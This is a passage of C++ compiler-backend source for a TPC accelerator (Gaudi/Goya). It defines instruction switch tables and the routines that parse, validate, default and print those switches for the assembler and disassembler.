\"convert_int32\", S_Vector },\n { \"convert_uint32\", S_Vector },\n { \"convert_int16\", S_Vector },\n { \"convert_uint16\", S_Vector } },\n TPCII::SW_LANE_SEL, TPC::FeatureGoya, T_ALL,\n { { \"0\", TPCII::SW_LANE_0 },\n { \"1\", TPCII::SW_LANE_1 },\n { \"2\", TPCII::SW_LANE_2 },\n { \"3\", TPCII::SW_LANE_3 } }, TPCII::SW_LANE_0,\n { {\"num_lanes\", TPCII::SW_SINGLE_LANE} }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"lane_sel\",\n { { \"convert_int32\", S_Vector },\n { \"convert_uint32\", S_Vector },\n { \"convert_int16\", S_Vector },\n { \"convert_uint16\", S_Vector } },\n TPCII::SW_LANE_SEL, TPC::FeatureGaudi, T_ALL,\n { { \"0\", TPCII::SW_LANE_0 },\n { \"1\", TPCII::SW_LANE_1 },\n { \"2\", TPCII::SW_LANE_2 },\n { \"3\", TPCII::SW_LANE_3 } }, TPCII::SW_LANE_0,\n {}, OptPrintAlways | OptPrintWithKey },\n\tSwitchInfo { \"num_lanes\",\n { { \"convert\", S_Vector } },\n TPCII::SW_NUM_LANES_SRCB, TPC::FeatureGaudi, T_FP32,\n { { \"all_lanes\", SW_ALL_LANES_SRCB },\n { \"single_lane\", SW_SINGLE_LANE_SRCB } }, SW_SINGLE_LANE_SRCB,\n { {\"TARGET_TYPE\", SW_TO_BF16} } },\n SwitchInfo { \"num_lanes\",\n { { \"convert\", S_Vector } },\n TPCII::SW_NUM_LANES_SRCB, TPC::FeatureGaudi, T_BF16,\n { { \"all_lanes\", SW_ALL_LANES_SRCB } }, SW_ALL_LANES_SRCB,\n { {\"TARGET_TYPE\", SW_TO_FP32} }, OptPrintAlways },\n SwitchInfo { \"src\",\n { { \"mov_dg\", S_Vector},\n { \"mov_dual_group\", S_Vector} },\n TPCII::SW_SRC_DUAL_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << SW_SRC_DUAL_GROUP_SHIFT },\n { \"2\", 2 << SW_SRC_DUAL_GROUP_SHIFT },\n { \"3\", 3 << SW_SRC_DUAL_GROUP_SHIFT } }, 0,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo{ \"src_dual_group\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_SRC_DUAL_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << SW_SRC_DUAL_GROUP_SHIFT },\n { \"2\", 2 << SW_SRC_DUAL_GROUP_SHIFT },\n { \"3\", 3 << SW_SRC_DUAL_GROUP_SHIFT }}, 0,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintWithKey | OptAlias },\n SwitchInfo{ \"dst\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_DST_DUAL_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << SW_DST_DUAL_GROUP_SHIFT },\n { \"2\", 2 << SW_DST_DUAL_GROUP_SHIFT },\n { \"3\", 3 << SW_DST_DUAL_GROUP_SHIFT } }, 0,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo{ \"dst_dual_group\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_DST_DUAL_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << SW_DST_DUAL_GROUP_SHIFT },\n { \"2\", 2 << SW_DST_DUAL_GROUP_SHIFT },\n { \"3\", 3 << SW_DST_DUAL_GROUP_SHIFT } }, 0,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintWithKey | OptAlias },\n SwitchInfo { \"wr_lg\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WR_LOWER_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", TPCII::SW_WR_LOWER_GROUP } }, IsImmMask,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"wr_lower_group\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WR_LOWER_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", TPCII::SW_WR_LOWER_GROUP } }, IsImmMask,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintWithKey | OptAlias },\n SwitchInfo { \"wr_ug\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WR_UPPER_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", TPCII::SW_WR_UPPER_GROUP } }, IsImmMask,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"wr_upper_group\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WR_UPPER_GROUP, AllCores, T_ALL,\n { { \"0\", 0 },\n { \"1\", TPCII::SW_WR_UPPER_GROUP } }, IsImmMask,\n { { \"all\", 0 }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_SINGLE } }, OptPrintWithKey | OptAlias },\n SwitchInfo { \"sdg0\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_SDG0, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_SDG0_SHIFT },\n { \"2\", 2 << TPCII::SW_SDG0_SHIFT },\n { \"3\", 3 << TPCII::SW_SDG0_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"sdg1\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_SDG1, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_SDG1_SHIFT },\n { \"2\", 2 << TPCII::SW_SDG1_SHIFT },\n { \"3\", 3 << TPCII::SW_SDG1_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"sdg2\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_SDG2, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_SDG2_SHIFT },\n { \"2\", 2 << TPCII::SW_SDG2_SHIFT },\n { \"3\", 3 << TPCII::SW_SDG2_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"sdg3\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_SDG3, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_SDG3_SHIFT },\n { \"2\", 2 << TPCII::SW_SDG3_SHIFT },\n { \"3\", 3 << TPCII::SW_SDG3_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"weg0\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WEG0, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_WEG0_SHIFT },\n { \"2\", 2 << TPCII::SW_WEG0_SHIFT },\n { \"3\", 3 << TPCII::SW_WEG0_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"weg1\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WEG1, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_WEG1_SHIFT },\n { \"2\", 2 << TPCII::SW_WEG1_SHIFT },\n { \"3\", 3 << TPCII::SW_WEG1_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"weg2\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WEG2, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_WEG2_SHIFT },\n { \"2\", 2 << TPCII::SW_WEG2_SHIFT },\n { \"3\", 3 << TPCII::SW_WEG2_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"weg3\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_WEG3, TPC::FeatureBF16, T_ALL,\n { { \"0\", 0 },\n { \"1\", 1 << TPCII::SW_WEG3_SHIFT },\n { \"2\", 2 << TPCII::SW_WEG3_SHIFT },\n { \"3\", 3 << TPCII::SW_WEG3_SHIFT } }, 0,\n { { \"all\", SW_MDG_TYPE_ALL }, { \"pack\", 0 }, { \"mdg_type\", SW_MDG_TYPE_ALL } }, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"all\",\n { { \"mov_dg\", S_Vector },\n { \"mov_dual_group\", S_Vector } },\n TPCII::SW_MDG_TYPE_ALL, TPC::FeatureGaudi, T_ALL,\n {}, 0,\n {}, OptDontPrint },\n SwitchInfo { \"vpu\",\n { { \"aso\", S_Store } },\n SW_VPU, AllCores, T_ALL },\n SwitchInfo { \"dec\",\n { { \"aso\", S_Store } },\n SW_DEC, TPC::FeatureBF16, T_ALL }, // TODO: use more correct feature\n SwitchInfo { \"partial\",\n { { \"ld_tnsr\", S_Load | S_Store },\n { \"st_tnsr\", S_Store } },\n SW_PARTIAL, TPC::FeatureGaudi, T_ALL },\n SwitchInfo { \"rmw_sel\",\n { { \"st_tnsr\", S_Store },\n { \"st_tnsr_low\", S_Store },\n { \"st_tnsr_high\", S_Store },\n { \"st_tnsr_s\", S_Store } },\n SW_RMW_SEL, TPC::FeatureRMW, T_ALL },\n SwitchInfo { \"pack\",\n { { \"st_tnsr\", S_Store },\n { \"st_tnsr_low\", S_Store },\n { \"st_tnsr_high\", S_Store } },\n SW_PACK, TPC::FeatureTnsrPack, T_ALL },\n SwitchInfo { \"pack_dt\",\n { { \"st_tnsr\", S_Store },\n { \"st_tnsr_low\", S_Store },\n { \"st_tnsr_high\", S_Store } },\n SW_PACK_DT, TPC::FeatureTnsrPack, T_ALL,\n { { \"PCK_32_TO_16\", TPCII::SW_PCK_32_TO_16 },\n { \"PCK_16_TO_8\", TPCII::SW_PCK_16_TO_8 },\n { \"PCK_32_TO_8\", TPCII::SW_PCK_32_TO_8 },\n { \"PCK_8_TO_4\", TPCII::SW_PCK_8_TO_4 } } },\n SwitchInfo { \"func\",\n { { \"calc_fp_special\", S_Arith } },\n SW_FUNCID, TPC::FeatureBF16, T_FLOAT, // TODO: use more correct feature\n { { \"recip\", TPCII::SW_RECIP },\n { \"rsqrt\", TPCII::SW_RSQRT },\n { \"sqrt\", TPCII::SW_SQRT },\n { \"log\", TPCII::SW_LOG },\n { \"exp\", TPCII::SW_EXP },\n { \"tanh\", TPCII::SW_TANH },\n { \"div\", TPCII::SW_DIV },\n { \"pow\", TPCII::SW_POW } }, 0,\n {}, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"set\",\n { { \"popcnt\", S_Arith },\n { \"find_first\", S_Arith } },\n TPCII::SW_COUNT, AllCores, T_ALL,\n { { \"0\", TPCII::SW_COUNT_ZEROS },\n { \"1\", TPCII::SW_COUNT_ONES } }, 0,\n {}, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"dir\",\n { { \"find_first\", S_Arith } },\n TPCII::SW_DIRECTION, AllCores, T_ALL,\n { { \"start_lsb\", TPCII::SW_LSB },\n { \"start_msb\", TPCII::SW_MSB } }, 0,\n {}, OptPrintAlways },\n SwitchInfo { \"source_group\",\n { { \"pack\", S_Vector },\n { \"unpack\", S_Vector } },\n TPCII::SW_GROUP_SOURCE, AllCores, T_ALL,\n { { \"0\", TPCII::SW_GROUP_0 },\n { \"1\", TPCII::SW_GROUP_1 },\n { \"group_0\", TPCII::SW_GROUP_0 },\n { \"group_1\", TPCII::SW_GROUP_1 } }, 0,\n {}, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"element_stride\",\n { { \"pack\", S_Vector },\n { \"unpack\", S_Vector } },\n TPCII::SW_ELEMENT_STRIDE, AllCores, T_ALL,\n { { \"2\", TPCII::SW_STRIDE_2 },\n { \"4\", TPCII::SW_STRIDE_4 },\n { \"stride_2\", TPCII::SW_STRIDE_2 },\n { \"stride_4\", TPCII::SW_STRIDE_4 } }, 0,\n {}, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"group_half\",\n { { \"unpack\", S_Vector } },\n TPCII::SW_GROUP_HALF, AllCores, T_ALL,\n { { \"0\", TPCII::SW_GROUP_HALF_0 },\n { \"1\", TPCII::SW_GROUP_HALF_1 },\n { \"group_half_0\", TPCII::SW_GROUP_HALF_0 },\n { \"group_half_1\", TPCII::SW_GROUP_HALF_1 } }, 0,\n {}, OptPrintAlways | OptPrintWithKey },\n SwitchInfo { \"funcid\",\n { { \"get_lut_entry_and_interval_start\", S_Vector } },\n TPCII::SW_LUT_FUNC, AllCores, T_ALL,\n { { \"tanh\", TPCII::SW_LUT_TANH },\n { \"sqrt_rsqrt\", TPCII::SW_LUT_SQRT_RSQRT },\n { \"sin_cos\", TPCII::SW_LUT_SIN_COS },\n { \"log\", TPCII::SW_LUT_LOG } } },\n SwitchInfo { \"mmio\",\n { { \"ld_l\", S_Load },\n { \"st_l\", S_Store } },\n TPCII::SW_MMIO, AllCores, T_ALL },\n};\n#if defined(__GNUC__) || defined(__clang__)\n#pragma GCC diagnostic pop\n#endif\n\n\nstatic const MCSubtargetInfo *SubTargetInfo = nullptr;\n\nvoid TPCII::setSubTargetInfo(const MCSubtargetInfo *STI) {\n SubTargetInfo = STI;\n}\n\nconst MCSubtargetInfo *TPCII::getSubtargetInfo() {\n assert(SubTargetInfo);\n return SubTargetInfo;\n}\n\nstatic std::map<MnemonicKey, InstructionInfo> SwitchesOfInstruction;\nstatic std::map<const SwitchInfo *, std::vector<DependencyRecord>> SwitchDependency;\n\nstatic void collectDependencies(const SwitchInfo &E, std::vector<DependencyRecord> &V) {\n for (auto &Other : AllSwitches)\n for (auto &D : E.Dependencies)\n if (Other.Name.equals_lower(D.Switch)) {\n // check if the other switch ever applies to any common case with E\n // exact matching should happen for particular instruction at runtime\n if ((Other.OpType & E.OpType) != 0 && E.fitsOtherFeatures(Other)\n && Other.Instructions.end() != std::find_first_of(Other.Instructions.begin(), Other.Instructions.end(),\n E.Instructions.begin(), E.Instructions.end(), [=](const MnemonicKey &R, const MnemonicKey &L) -> bool {\n return (R.Slot & L.Slot) != 0 && R.Mnemonic == L.Mnemonic ; })\n ) {\n V.push_back(DependencyRecord{ &Other, D.Value });\n DISASM_DEBUG(dbgs() << \"Added switch dependency: \" << E.Name << \" => \" << D.first << \" == \" << D.second << \" w/feature \" << Other.Features << '\\n');\n }\n else {\n DISASM_DEBUG(dbgs() << \"Beware refused switch dependency: \" << E.Name << \" => \" << Other.Name << '\\n');\n\n }\n }\n}\n\n\nstatic void buildSwitchMaps() {\n assert(SwitchesOfInstruction.empty());\n for (const auto &Item : AllOpCodes) {\n MnemonicKey K{ Item.second.lower(), getSlotCode(Item.first.Slot) };\n SwitchesOfInstruction[K].Name = Item.second;\n }\n\n for (auto &Sw : AllSwitches) {\n for (auto InstInSlot : Sw.Instructions) {\n if (InstInSlot.Slot & S_Special) {\n MnemonicKey K{ InstInSlot.Mnemonic, S_Special };\n SwitchesOfInstruction[K].Switches.insert(&Sw);\n }\n if (InstInSlot.Slot & S_Load) {\n MnemonicKey K{ InstInSlot.Mnemonic, S_Load };\n SwitchesOfInstruction[K].Switches.insert(&Sw);\n }\n if (InstInSlot.Slot & S_Scalar) {\n MnemonicKey K{ InstInSlot.Mnemonic, S_Scalar };\n SwitchesOfInstruction[K].Switches.insert(&Sw);\n }\n if (InstInSlot.Slot & S_Vector) {\n MnemonicKey K{ InstInSlot.Mnemonic, S_Vector };\n SwitchesOfInstruction[K].Switches.insert(&Sw);\n }\n if (InstInSlot.Slot & S_Store) {\n MnemonicKey K{ InstInSlot.Mnemonic, S_Store };\n SwitchesOfInstruction[K].Switches.insert(&Sw);\n }\n }\n\n if (!Sw.Dependencies.empty()) {\n std::vector<DependencyRecord> V;\n collectDependencies(Sw, V);\n if (!V.empty()) {\n auto &D = SwitchDependency[&Sw];\n D.insert(D.end(), V.begin(), V.end());\n }\n }\n }\n}\n\nstatic const std::map<MnemonicKey, InstructionInfo> &getSwitchesOfInstruction() {\n if (SwitchesOfInstruction.empty())\n buildSwitchMaps();\n return SwitchesOfInstruction;\n}\n\nstatic std::pair<std::map<OpCodeKey, StringRef>::const_iterator, std::map<OpCodeKey, StringRef>::const_iterator>\n getMnemonicsFromOpCode(unsigned OpCode, SlotParser Slot) {\n auto Ptr = AllOpCodes.equal_range(OpCodeKey{ Slot, OpCode });\n assert(Ptr.first != AllOpCodes.end());\n return Ptr;\n}\n\nstatic const InstructionInfo *getSwitchesForMnemonic(StringRef Mnemonic, SlotParser Slot) {\n auto &SwitchesOfInstruction = getSwitchesOfInstruction();\n auto Ptr = SwitchesOfInstruction.find(MnemonicKey{ Mnemonic.lower(), getSlotCode(Slot) });\n if (Ptr == SwitchesOfInstruction.end())\n return nullptr;\n return &Ptr->second;\n}\n\n// Excludes switches not suitable for current architecture, operation type and aliases.\nstatic std::vector<const SwitchInfo *> getApplicableSwitches(const InstructionInfo *IInfo, const FeatureBitset &Features, OpType Type) {\n std::vector<const SwitchInfo *> Switches(IInfo->Switches.begin(), IInfo->Switches.end());\n unsigned T_Type = getTypeCode(Type);\n Switches.erase(std::remove_if(Switches.begin(), Switches.end(), [&](const SwitchInfo *E) -> bool {\n return (E->Options & OptAlias) || !E->fitsTargetFeatures(Features) || (E->OpType & T_Type) == 0;\n }), Switches.end());\n return Switches;\n}\n\nclass SwitchErrorCat : public std::error_category {\npublic:\n const char *name() const noexcept override { return \"switch\"; }\n std::string message(int x) const override {\n switch (static_cast<SwitchError>(x)) {\n case SwitchError::OK: return \"ok\";\n case SwitchError::UnknownSwitch: return \"unknown switch\";\n case SwitchError::UnsupportedByHardware: return \"switch is not supported by the current processor\";\n case SwitchError::UnapplicableForType: return \"switch is not valid for the used operand type\";\n case SwitchError::NonBooleanValueOfFlag: return \"Olny values '0' or '1' are allowed for this switch\";\n case SwitchError::SwitchGroupNoValue: return \"expected specification in the form 'Switch=VALUE'\";\n default: return \"error \" + std::to_string(x);\n }\n }\n};\n\nconst SwitchErrorCat theSwitchErrorCat;\n\nstd::error_code make_error_code(SwitchError e) {\n return { static_cast<int>(e), theSwitchErrorCat };\n}\n\n\nstd::string TPCII::incorporateSwitch(StringRef Switch, StringRef Value,\n StringRef Mnemonic, SlotParser Slot,\n OpType Type, bool IsSuffix, bool &IsUnknown,\n unsigned &CurrentSwitchSet,\n std::vector<std::string> &Switches) {\n assert(Slot != SlotParser::Unknown);\n IsUnknown = false;\n\n // If we found a record for the switch which is not suitable, keep them. It\n // allows us to distinguish between an unknow switch and a known but unsupported.\n const SwitchInfo *UnsupportedCPU = nullptr;\n const SwitchInfo *UnapplicableType = nullptr;\n\n std::string ErrorMessage;\n\n if (const InstructionInfo *Info = getSwitchesForMnemonic(Mnemonic, Slot)) {\n for (auto SwPtr : Info->Switches) {\n bool IsGroup = SwPtr->isGroup();\n if (SwPtr->Name.equals_lower(Switch)) {\n\n // Check if the found switch is supported.\n assert(SubTargetInfo);\n if (!SwPtr->fitsTargetFeatures(SubTargetInfo->getFeatureBits())) {\n UnsupportedCPU = SwPtr;\n continue;\n }\n if (Type != TPCII::OpType::Invalid) {\n if ((SwPtr->OpType & getTypeCode(Type)) == 0) {\n UnapplicableType = SwPtr;\n continue;\n }\n }\n\n unsigned SwValue = SwPtr->Value; // Either switch value or a group mask.\n\n // If this switch depends on some other switch, check if the dependency\n // is not violated.\n if (SwitchDependency.count(SwPtr))\n for (auto R : SwitchDependency[SwPtr]) {\n if (R.Switch->fitsTargetFeatures(SubTargetInfo->getFeatureBits())\n && (R.Switch->OpType & getTypeCode(Type)) != 0) {\n unsigned SelectionBits = CurrentSwitchSet & R.Switch->Value;\n if (SelectionBits && SelectionBits != R.Selection) {\n // Possibly, there is another variant\n if (ErrorMessage.empty())\n ErrorMessage = \"Switch '\" + Switch.str() +\n \"' conflicts with switch '\" + R.Switch->Name.str();\n continue;\n }\n }\n }\n\n if (!IsGroup && !Value.empty()) {\n // Even if switch is boolean, we allow specification of it in the form:\n // 'SWITCH=1' or 'SWITCH=0'.\n\n // Check for redefinition.\n if (SwValue & CurrentSwitchSet ||\n std::find(Switches.begin(), Switches.end(), SwPtr->Name) != Switches.end()) {\n return \"this switch is already specified\";\n }\n\n // Check the specified value.\n if (Value == \"0\") {\n // Zero value is specified by default.\n Switches.push_back(SwPtr->Name);\n return \"\";\n } else if (Value == \"1\") {\n CurrentSwitchSet |= SwValue;\n Switches.push_back(SwPtr->Name);\n return \"\";\n }\n return \"olny values '0' or '1' are allowed for this switch\";\n }\n\n if (IsGroup) {\n if (Value.empty())\n return \"expected specification in the form 'SWITCH=VALUE'\";\n\n // The switch may be represented as 'SWITCH=123' or 'SWITCH=STRING'.\n unsigned ItemValue;\n std::string LCValue = Value.lower();\n bool Found = false;\n for (auto V : SwPtr->Values)\n if (V.Name.equals_lower(LCValue)) {\n ItemValue = V.Value;\n Found = true;\n break;\n }\n if (!Found) {\n if (!Value.getAsInteger(0, ItemValue)) {\n unsigned Shift = 0;\n unsigned Mask = SwValue;\n while (Mask && ((Mask & 1) == 0)) {\n ++Shift;\n Mask >>= 1;\n }\n ItemValue <<= Shift;\n }\n }\n if (ItemValue & ~SwPtr->Value)\n return \"switch value has bits beyond its group\";\n if (ItemValue & CurrentSwitchSet)\n return \"value for this group is already specified\";\n CurrentSwitchSet |= ItemValue;\n Switches.push_back(SwPtr->Name);\n return \"\";\n }\n\n // Switch is specified by its name, like 'SAT'.\n if (SwValue & CurrentSwitchSet)\n return \"this switch is already specified\";\n CurrentSwitchSet |= SwValue;\n Switches.push_back(SwPtr->Name);\n return \"\";\n }\n\n // Check if this is a value specified in some switch group.\n if (IsGroup) {\n for (auto SwVal : SwPtr->Values) {\n if (SwVal.Name.equals_lower(Switch)) {\n assert(SubTargetInfo);\n if (!SwPtr->fitsTargetFeatures(SubTargetInfo->getFeatureBits())) {\n UnsupportedCPU = SwPtr;\n continue;\n }\n if (Type != TPCII::OpType::Invalid) {\n if ((SwPtr->OpType & getTypeCode(Type)) == 0) {\n UnapplicableType = SwPtr;\n continue;\n }\n }\n if (IsSuffix && (SwPtr->Options & OptMayBeSuffix) == 0)\n return \"switch \\\"\" + Switch.str() + \"\\\" cannot be specified as a suffix\";\n if (SwVal.Value & CurrentSwitchSet)\n return \"value for this group is already specified\";\n CurrentSwitchSet |= SwVal.Value;\n Switches.push_back(SwPtr->Name);\n return \"\";\n }\n }\n }\n }\n\n if (!ErrorMessage.empty())\n return ErrorMessage;\n }\n\n\n\n if (UnsupportedCPU)\n return \"switch is not supported by the current processor\";\n if (UnapplicableType)\n return \"switch is not valid for the used operand type\";\n IsUnknown = true;\n return \"unknown switch\";\n}\n\nstatic bool meetsDependencies(const unsigned SwSet, const SwitchInfo *E, const std::vector<const SwitchInfo *> &Switches) {\n if (SwitchDependency.count(E) == 0)\n return true;\n const FeatureBitset &Features = SubTargetInfo->getFeatureBits();\n std::vector<DependencyRecord> &Deps = SwitchDependency[E];\n for (DependencyRecord &R : Deps) {\n if (R.Switch->Feature != AllCores && !Features[R.Switch->Feature])\n continue;\n if (std::find(Switches.begin(), Switches.end(), E) != Switches.end()) {\n LLVM_DEBUG(dbgs() << \"Checking \" << E->Name << \" switch dependency: \" << R.Switch->Name << \" == \" << R.Selection << '\\n');\n if ((R.Switch->Value & SwSet) != R.Selection) {\n LLVM_DEBUG(dbgs() << \"Switch \" << E->Name << \" does not meet dependency: \" << R.Switch->Name << \" == \" << R.Selection << '\\n');\n return false;\n }\n }\n }\n return true;\n}\n\n\nbool TPCII::getDefaultSwitches(StringRef Mnemonic, SlotParser Slot, OpType Type,\n unsigned &CurrentSwitchSet,\n const std::vector<std::string> &Switches) {\n assert(Slot != SlotParser::Unknown);\n assert(SubTargetInfo);\n bool Changed = false;\n if (const InstructionInfo *Info = getSwitchesForMnemonic(Mnemonic, Slot)) {\n auto Sws = getApplicableSwitches(Info, SubTargetInfo->getFeatureBits(), Type);\n for (auto SwPtr : Sws) {\n if (((SwPtr->Default) & ~PrintFlagMask) == 0)\n continue;\n if (std::find(Switches.begin(), Switches.end(), SwPtr->Name) != Switches.end())\n continue;\n if (!meetsDependencies(CurrentSwitchSet, SwPtr, Sws))\n continue;\n CurrentSwitchSet |= (SwPtr->Default) & ~PrintFlagMask;\n Changed = true;\n }\n }\n return Changed;\n}\n\nstatic TPCII::OpType guessDataType(const MCInst *MI, unsigned OpNum, const MCInstrDesc &MCID) {\n // We expect datatype just before switch set.\n if (OpNum) {\n const MCOperandInfo &Info = MCID.OpInfo[OpNum - 1];\n if (Info.OperandType == TPC::OPERAND_DATATYPE) {\n const MCOperand &Op = MI->getOperand(OpNum - 1);\n assert(Op.isImm() && Op.getImm() <= TPCII::OpType::Max);\n if (Op.getImm() <= TPCII::OpType::Max)\n return static_cast<TPCII::OpType>(Op.getImm());\n }\n }\n DISASM_DEBUG(dbgs() << \"Failed to guessDataType: \" << *MI << \" for oOpNum = \" << OpNum);\n return TPCII::OpType::Invalid;\n}\n\nstatic std::string numToBinStr(long Number) {\n std::string Result(\"0b\");\n auto Bits = std::bitset<sizeof(Number) * 8>(Number);\n // find first signed bit\n int StartPos = 0;\n for (int i = Bits.size() -1; i >= 0; --i)\n if(Bits.test(i)) {\n StartPos = i;\n break;\n }\n for (int i = StartPos; i >=0; --i)\n Result += Bits.test(i) ? '1' : '0';\n\n return Result;\n}\n\nstatic std::string numToHexStr(long Number) {\n std::stringstream Stream;\n Stream << \"0x\";\n Stream << std::hex << Number;\n return Stream.str();\n}\n\n// If a switch has a immediate mask a value convert to binary or hexadecimal\n// format.\n// Otherwise value is returned without a changes.\nstatic std::string tryFormatMaskedSwitch(const SwitchInfo *SwInfo,\n unsigned SwSet, bool NeedGroupName) {\n assert(SwInfo != nullptr);\n std::string SwStr;\n for (auto V : SwInfo->Values)\n if ((SwSet & SwInfo->Value) == V.Value) {\n char *EndPtr = nullptr;\n long NumberValue = strtol(V.Name.data(), &EndPtr, 10);\n if ((SwInfo->Default & IsImmMask) && EndPtr == V.Name.end())\n SwStr = (SwInfo->Options & OptPrintAsBinary) ? numToBinStr(NumberValue)\n : numToHexStr(NumberValue);\n else\n SwStr = V.Name;\n\n // If we found numeric value for the switch, and printing group\n // name was not requested, continue the search so that we could\n // find identifier.\n if (NeedGroupName || !std::isdigit(SwStr[0]))\n break;\n }\n\n return SwStr;\n}\n\nstatic bool switchIsAmbiguous(const unsigned SwSet, const SwitchInfo *SwPtr,\n const std::vector<const SwitchInfo *> &Switches, const FeatureBitset &Features) {\n for (auto Ptr : Switches)\n if (Ptr != SwPtr && Ptr->fitsTargetFeatures(Features))\n if (Ptr->Value == SwPtr->Value && meetsDependencies(SwSet, Ptr, Switches)) {\n DISASM_DEBUG(dbgs() << \"switchIsAmbiguous: \" << SwPtr->Name << \" and \" << Ptr->Name << '\\n');\n return true;\n }\n return false;\n}\n\nstatic std::string\nbuildSwitchSetString(const unsigned SwitchSet, const std::string &Mnemonic, SlotParser Slot, OpType Type, bool IsIRFOp) {\n assert(SubTargetInfo);\n const FeatureBitset &Features = SubTargetInfo->getFeatureBits();\n\n // Get set of switches valid for this instruction.\n const InstructionInfo *IInfo = getSwitchesForMnemonic(Mnemonic, Slot);\n if (!IInfo) {\n // No information about switches of this instruction. Print the switch set as a number.\n return std::to_string(SwitchSet);\n }\n\n // Filter out incompatible switches.\n // Get array of switches for more convenient manipulations.\n std::vector<const SwitchInfo *> Switches = getApplicableSwitches(IInfo, Features, Type);\n\n Switches.erase(std::remove_if(Switches.begin(), Switches.end(), [&](const SwitchInfo *E) -> bool {\n if (IsIRFOp && (E->Value & SW_DIMMASK) && !E->Name.equals(\"dimmask\")) {\n DISASM_DEBUG(dbgs() << \"Filtered out \" << E->Name << \" since it 